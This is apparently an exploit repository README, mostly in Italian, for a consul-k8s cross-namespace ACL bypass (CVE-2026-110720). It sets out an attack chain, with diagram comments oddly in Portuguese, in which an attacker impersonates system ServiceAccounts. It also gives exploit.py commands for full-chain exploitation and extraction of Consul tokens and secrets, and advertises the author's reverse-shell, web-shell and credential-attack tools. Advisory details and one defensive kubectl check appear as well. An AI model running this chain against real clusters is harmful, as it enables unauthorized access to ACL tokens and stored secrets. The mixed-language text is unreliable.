CVE-2026-110720 - PoC ed exploit del bypass ACL cross-namespace in HashiCorp consul-k8s
ClusterRoleBindings senza restrizioni di namespace consentono a qualsiasi ServiceAccount di aggirare le ACL di Consul nei cluster Kubernetes.
CVE-2026-110720 v3.0.0 | consul-k8s Cross-Namespace ACL Bypass
By Gh0st-Bx1 | github.com/Ghost-Bx1
consul-k8s (versioni da 0.42.0 a 2.0.4) genera ClusterRoleBindings e ServiceAccounts per i componenti interni di Consul senza limitare il binding per namespace. Quando global.acls.manageSystemACLs=true è abilitato, un ServiceAccount creato in qualsiasi namespace può autenticarsi al server Consul come se fosse un componente di sistema, aggirando completamente il namespace ACL.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-110720 |
| CVSS | 9.9 (CRITICO) |
| CWE | CWE-863 (Incorrect Authorization) |
| Advisory | HCSEC-2026-50 |
| Fornitore | HashiCorp |
| Prodotto | consul-k8s |
| Richiede | K8s: creare SA + ottenere token in un altro namespace + accesso di rete al Consul API |
| Data | Ottobre 2026 |
| Versione | Stato |
|---|---|
| consul-k8s 0.42.0 - 2.0.4 | Vulnerabile |
| consul-k8s >= 2.1.0 | Corretto |
| consul-k8s >= 1.8.18 (backport) | Corretto |
Cluster K8s com consul-k8s + manageSystemACLs=true
|
v
consul-k8s cria ClusterRoleBinding sem restricao de namespace:
subjects:
- kind: ServiceAccount
name: consul-server-acl-init
namespace: consul <-- sem validacao de outros namespaces
|
v
Atacante cria namespace "evil-ns" e SA "consul-server-acl-init"
|
v
Atacante cria ClusterRoleBinding apontando seu SA
para o ClusterRole do Consul
|
v
Token do SA do atacante autentica como componente de sistema
no servidor Consul ACL
|
v
Acesso a: ACL tokens, service mesh policies, KV store secrets
| ServiceAccount | Privilegio |
|---|---|
| consul-server-acl-init | Bootstrap ACL |
| consul-client-acl-init | Client registration |
| consul-connect-inject-acl-init | Service mesh tokens |
| consul-sync-catalog-acl-init | Catalog sync |
python poc.py --check-install --namespace consul
python poc.py --list-bindings --namespace consul
python poc.py --check-acl --namespace consul
python poc.py --gen-sa --attacker-ns evil-ns --output /tmp/bypass.yaml
kubectl apply -f /tmp/bypass.yaml
python exploit.py --check --namespace consul
python exploit.py --exploit --namespace consul --attacker-ns ghost-exploit-ns
python exploit.py --full-chain --namespace consul
# Apos obter o token K8s do SA comprometido:
python exploit.py --consul-extract <k8s-jwt-token> --namespace consul
python exploit.py --cleanup --attacker-ns ghost-exploit-ns
# Verificar bindings vulneraveis
kubectl get clusterrolebinding -o json | jq '.items[] | select(.metadata.name | contains("consul")) | .subjects'
Questo repository è destinato a scopi educativi e di ricerca sulla sicurezza. Utilizzare solo in ambienti autorizzati con permesso esplicito. L'autore non si assume alcuna responsabilità per un uso improprio.
| Tool | Description |
|---|---|
| ghost-ad | Active Directory - LDAP, Kerberoasting, AS-REP Roasting, BloodHound-lite |
| ghost-cloud | Cloud Security - scanner di misconfigurazioni AWS, Azure e GCP |
| ghost-fuzz | Web Fuzzing - brute-force di directory, fuzzing di parametri, enumerazione di vhost |
| ghost-osint | OSINT - intelligence su domini, email e IP da fonti pubbliche |
| ghost-privesc | Privilege Escalation - checker di privesc Linux, 17 vettori, GTFOBins |
| ghost-recon | Reconnaissance - DNS, SSL, WAF, enumerazione di sottodomini, sicurezza email |
| ghost-report | Reporting - generatore di report di pentest da qualsiasi output JSON di ghost-* |
| ghost-scan | Port Scanner - scanner TCP/UDP asincrono con banner grabbing e correlazione CVE |
| ghost-shell | Payload Generation - generatore di reverse shell e web shell, oltre 25 linguaggi |
| ghost-spray | Credential Attacks - password spraying, stuffing, test di credenziali predefinite |
| ghost-wifi | WiFi Attacks - monitor mode, deauth, cattura WPA/WPA2, PMKID, WPS, Evil Twin |
Di Gh0st-Bx1